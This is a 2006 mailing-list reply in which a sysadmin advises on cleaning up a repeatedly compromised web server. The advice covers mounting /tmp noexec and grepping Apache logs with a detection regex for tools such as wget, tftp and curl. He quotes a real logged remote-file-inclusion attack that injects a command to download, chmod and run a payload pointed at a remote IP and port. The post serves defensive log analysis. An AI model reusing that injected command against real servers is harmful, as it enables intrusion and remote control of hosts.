Re: we were attacked
On Sat, Apr 08, 2006 at 12:15:52AM -0700, Joe Emenaker wrote:
> Craig Sanders wrote:
> >On Sat, Apr 08, 2006 at 02:03:49AM +0300, Juha-Matti Tapio wrote:
> >
> >>On Fri, Apr 07, 2006 at 11:41:28PM +0100, Steve Kemp wrote:
> >>
> >>> No the appalling part was you having a machine compromised
> >>> resetting it to a "good" state and then letting it get compromised
> >>> again, and again, and again.
> >>>
> >gotta agree with that.
> >
> >a problem like is something that has to be fixed, not ignored
> Okay. So you kill the processes, delete the files, update all packages,
> and upgrade to the latest kernel. You watch for a day and the files
> haven't re-appeared yet. Is the problem fixed?
no, because you haven't actually found what the problem was. you've
just done some cargo-culting in the hope that it will magically fix the
problem. that might accidentally fix the problem but you can't be sure
of it - and the problem isn't fixed until you ARE sure.
the only way you can be certain that you've fixed the problem is to
identify the cause and to fix that.
even if you can't identify the actual script at fault, you at least
know that the exploit involves saving a script in /tmp or /var/tmp and
executing it - so you can also fix it by mounting /tmp and /var/tmp
with the noexec option so that programs in those directories can't be
executed. if you don't have a separate partition for /tmp and /var/tmp,
you can use tmpfs to mount ramdisks for them as noexec. if you do that
then there is no way an exploit that involves executing code from /tmp
can work on your system.
(note: if you mount /tmp as noexec you will have to remount it as exec
before using apt-get or dpkg to install/upgrade packages...and then
remount it as noexec again afterwards. this can be done automatically
with Pre and Post invoke options in /etc/apt/apt.conf)
> >>Problems like this aren't simple to diagnose on webhosting
> >>environments.
> >>
> > actually, they're not that hard - you can find most of them by
> > grepping for half a dozen or so likely strings in the apache access
> > log - "wget", "curl", "snarf", "/bin/sh", "/bin/perl", ";", and as
> > a last resort, "%20" (for encoded space characters which nearly all
> > shell exploits will have in them)
>
> I can give you probably 100,000 lines of legitimate logs which have
> %20's in them.
that's why searching for %20 is a last resort. search for the most
likely candidates first, then if that fails, search for something almost
guaranteed to identify it - and pipe the output of the "%20" grep into
"grep -v" to eliminate noise (i.e. known good request logs).
simply saying "there's too much noise, it's too hard" is not good enough.
> Granted, I should have scanned for the others, but I was
> focused on other ideas and didn't see the forest through the trees.
it's your responsibility, if you're running a publicly accessible
server on the net, to have or acquire sufficient skill in basic systems
administration tools and techniques to be able to filter the noise from
the signal in log files ("noise" and "signal" being relative to whatever
it is you are currently searching for).
> >>There could be a lot of requests in the logs
> >>
> >use grep to both search for suspect strings and 'grep -v' to exclude the
> >"noise" (i.e. known good requests).
>
> Okay. Is "HTTP 1.1 / GET index.php" a legit request? 99.999% of the
> time, yes. However, "GET index.php?action=tftp%20malic.io.us" is *not*.
> Problem is, chances are that you've already "grep -v"d index.php out
> after seeing 10 pages of legit requests for it.
so you don't 'grep -v index.php', you 'grep -v index.php"' (note the
trailing " character). that will eliminate bare requests for index.php
without any args. you can eliminate most noise by adding more terms to
the "grep -v" as you see them.
better yet, you know that the script-kiddie has to pass /tmp somewhere
in the request, so search for that: grep for '(%2f|\/)tmp' which will
find any request with '/tmp' in it (with either a plain '/' or an
encoded '/', which is %2f ).
e.g. searching the old logs files on my home server shows 321 matches, the last
one of which was:
access.20060409.gz:202.75.47.99.myloca.com - - [06/Apr/2006:20:40:00 +1000] "GET /cvs/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://200.72.130.29/cmd.gif?&cmd=cd%20/tmp;wget%20omv.0catch.com/vise;chmod%20744%20vise;./vise%2081.246.55.210%208080;00;echo%20YYY;echo| HTTP/1.1" 404 287 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
it's quite obvious that this request is from a script-kiddie trying
something evil with "/cvs/index2.php" (which doesn't exist on my
server).
grepping for wget would have found that too....and add tftp for your example
too. and several other tools commonly used in exploits, so you end up with a
regexp search like 'wget|tftp|curl|snarf|chmod|(%2f|\/)tmp'. the key is to
think of things that script-kiddies might use that aren't likely to appear in
legitimate requests.
in short, make the signal stand out from the noise by a) knowing what
you are searching for and b) knowing how to identify and eliminate stuff
you don't need to see. this requires some skill and some experience.
if you don't have one or the other, then it is your responsibility to
acquire them.
craig
--
craig sanders <cas@taz.net.au> (part time cyborg)
Reply to: